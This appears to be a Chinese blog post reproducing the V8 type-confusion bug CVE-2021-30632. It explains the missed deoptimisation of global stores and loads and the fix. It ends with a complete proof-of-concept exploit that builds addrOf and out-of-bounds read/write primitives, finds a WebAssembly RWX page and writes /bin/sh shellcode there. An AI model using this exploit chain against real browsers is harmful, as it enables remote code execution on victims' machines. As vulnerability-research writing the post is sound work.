v8漏洞CVE-2021-30632复现

314 阅读7分钟

CVE-2021-30632复现

securitylab/SecurityExploits/Chrome/v8/CVE-2021-30632 at main · github/securitylab

参考:chrome v8漏洞CVE-2021-30632浅析 - FreeBuf网络安全行业门户

(ps:好像确实用kexue上网也不行,就算比较稳定也总有问题,还是直接用服务器好)

PropertyCellType::kConstantType

PropertyCellType 是 V8 内部的一个枚举类型,用于描述属性单元格的类型。

常见的枚举值包括:

  • kMutable:属性值是可变的。

    const obj = { value: 42 };
    obj=2
    
  • kConstant:属性值是常量,不会发生变化。

    const obj = Object.freeze({ value: 42 });
    
  • kUndefined:属性值为 undefined

    const obj = { value: undefined };
    
  • kConstantType:属性值是常量类型(即类型和值都不会发生变化)。

    globalThis.PI = 3.14159; // 全局常量
    

kConstantType 表示属性单元格的值是 常量类型,即该属性的值和类型都不会发生变化。这种类型的属性单元格通常用于优化全局对象或原型链上的常量属性。

全局变量store和load

全局变量store和load解优化条件

store
  • 全局变量属性的类型发生变化
  • 全局变量Map由stable变为not stable
  • 传入store参数的Map和前面不一致
load
  • 优化时刻MapA为Stable,后面修改MapA为MapB

类型混淆

利用过程

function store(y) {
    x = y;
}
function load() {
    return x.b;
}
var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};   // all has mapA, stable
​
%PrepareFunctionForOptimization(store);
store(x2);
​
x1.b = 1;           // x1 has mapB, stable
                    // x x2 x3 has mapA, not stable
%OptimizeFunctionOnNextCall(store);
store(x2);          // optimizatiin,x has MapA in store// x此时为 mapA, not stable。执行x.b=3。将变为MapB,stable
// 无法命中store解优化的个条件,因此store不会解优化
/*
1. 全局变量属性的类型发生变化
2. 全局变量Map由stable变为not stable
3. 传入store参数的Map和前面不一致
不命中:
4. 回顾前面,需要通过"="赋值才会触发PropertyCellType类型修改。不命中。
5. 由not stable变为stable并非stable变为not stable。不命中。
6. 并非调用优化函数,而是对x的属性做修改,不命中。
*/
x.b = 3;        // x MapB stable
​
%PrepareFunctionForOptimization(load);
load();         // x has mapB
%OptimizeFunctionOnNextCall(load);
load();         // x has mapB in load/*
用jit打败jit的精髓之处就在这里了。 :)
此时x为 MapB stable,x3为MapA not stable。
回顾上面解优化条件:
store:
​
1. 全局变量属性的类型发生变化。不命中。
2. 全局变量Map由stable变为not stable。命中。
3. 传入store参数的Map和前面不一致。x3 x2均为MapA,不命中。
load:
4. 优化时刻MapA为Stable,后面修改MapA为MapB。命中。
​
总结起来看,store(x3)命中store解优化条件2和load解优化条件1。那么第51行代码应该触发store和load解优化。然而实际情况是没有发生任何解优化,x3按照优化代码的逻辑赋值给了x,x变为MapA not stable.
为什么没有解优化呢?原因是所有的解优化条件对于已经优化的代码store是不生效的,只对没有编译的bytecode生效。
用jit打败jit,用魔法打败魔法。 :)
*/
store(x3);
​
// x 此时真实为MapA, not stable。而load优化的代码中,x为MapB stable,类型混淆,执行56行将导致crash。
%DebugPrint(load());

验证

function store(y) {
    x = y;
}
​
function load() {
    return x.b;
}
​
var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};
​
%PrepareFunctionForOptimization(store);
store(x2);
x1.b = 1;
%OptimizeFunctionOnNextCall(store);
store(x2);
x.b = 3;
​
%PrepareFunctionForOptimization(load);
load();
%OptimizeFunctionOnNextCall(load);
load();
​
store(x3);
​
console.log("x=================");
%DebugPrint(x);
console.log("x1=================");
%DebugPrint(x1);
console.log("x3=================");
%DebugPrint(x3);
%DebugPrint(load());
// x和x3是同一个map都是not stable
// x1是stable

过程简述

在 JIT 优化过程中,store 函数被优化为假设全局变量 x 的Map是 mapA,随后 x 的Map被修改为 mapB,但 JIT 编译器未能正确触发解优化;接着 load 函数被优化为假设 x 的Map是 mapB,但当 store(x3) 被调用时,x 的Map又被改为 mapA,而 load 函数仍基于 mapB 的假设执行,导致类型混淆,最终引发崩溃或安全漏洞。

漏洞原因(简而言之,优化和解优化的想当然一致,优化太易利用且解优化考虑不周,只考虑效率没考虑安全)

  1. 解优化条件未命中

    • store 函数的优化假设 x 的 Map 是 mapA,但在运行时 x 的 Map 变为 mapB
    • 理论上,x 的 Map 发生变化应该触发 store 函数的解优化,但由于解优化条件未命中,解优化未发生。
  2. JIT 优化的局限性

    • JIT 编译器对对象形状的假设是基于静态分析的,无法完全覆盖所有动态变化的情况。
    • 当对象的 Map 发生变化时,JIT 编译器可能无法及时检测到这些变化,导致优化代码继续执行,从而引发类型混淆。
  3. 类型混淆(Type Confusion)

    • load 函数被优化为假设 x 的 Map 是 mapB,但实际上 x 的 Map 是 mapA
    • 这导致 load 函数访问 x.b 时读取了错误的内存地址,进而导致崩溃或安全漏洞。

修复方法

  1. 全局变量必须是stable才会进行优化。
  2. store优化后,如果map变为not stable,将解优化。

修复的原理:修复后,store不会进优化,从而修复漏洞。

POC

(我用这个仓库的代码一直不成功,可能是系统版本不同?但是用文章中的代码,调试几次就成功了)

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var main = instance.exports.main;
​
function foo(y) {
  x = y;
}
​
function oobRead() {
  //addrOf b[0] and addrOf writeArr::elements
  return [x[20],x[24]];
}
​
function oobWrite(addr) {
  x[24] = addr;
}
​
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
​
var x = arr0;
​
var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1);
var writeArr = [1.1];
​
for (let i = 0; i < 19321; i++) {
  if (i == 19319) arr2[0] = 1.1;
  foo(arr1);
}
​
x[0] = 1.1;
​
for (let i = 0; i < 20000; i++) {
  oobRead();
}
​
for (let i = 0; i < 20000; i++) oobWrite(1.1);
foo(arr);
​
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
b[0] = instance;
var addrs = oobRead();
​
function ftoi32(f) {
  dblArr[0] = f;
  return [intView[0], intView[1]];
}
​
function i32tof(i1, i2) {
  intView[0] = i1;
  intView[1] = i2;
  return dblArr[0];
}
​
function itof(i) {
  bigIntView = BigInt(i);
  return dblArr[0];
}
​
function ftoi(f) {
  dblArr[0] = f;
  return bigIntView[0];
}
​
​
dblArr[0] = addrs[0];
dblArr[1] = addrs[1];
​
function addrOf(obj) {
  b[0] = obj;
  let addrs = oobRead();
  dblArr[0] = addrs[0];
  return intView[1]; 
}
​
function arbRead(addr) {
  [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr,addr1));
  return writeArr[0];
}
​
function writeShellCode(rwxAddr, shellArr) {
  var intArr = new Uint8Array(400);
  var intArrAddr = addrOf(intArr);
  console.log("intArray addr: " + intArrAddr.toString(16));
  var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
  console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));[elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));
  writeArr[0] = rwxAddr;
  for (let i = 0; i < shellArr.length; i++) {
    intArr[i] = shellArr[i];
  }
}
​
var instanceAddr = addrOf(instance);
var elementsAddr = ftoi32(addrs[1])[0];
console.log("instance: " + instanceAddr.toString(16));
console.log("elements: " + elementsAddr.toString(16));
var rwxAddr = arbRead(instanceAddr + 0x60);
console.log("rwx page address: " + ftoi(rwxAddr).toString(16));
var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
​
writeShellCode(rwxAddr, shellCode);
main();

如果有时间,我会研究一下怎么在Chrome浏览器上复现。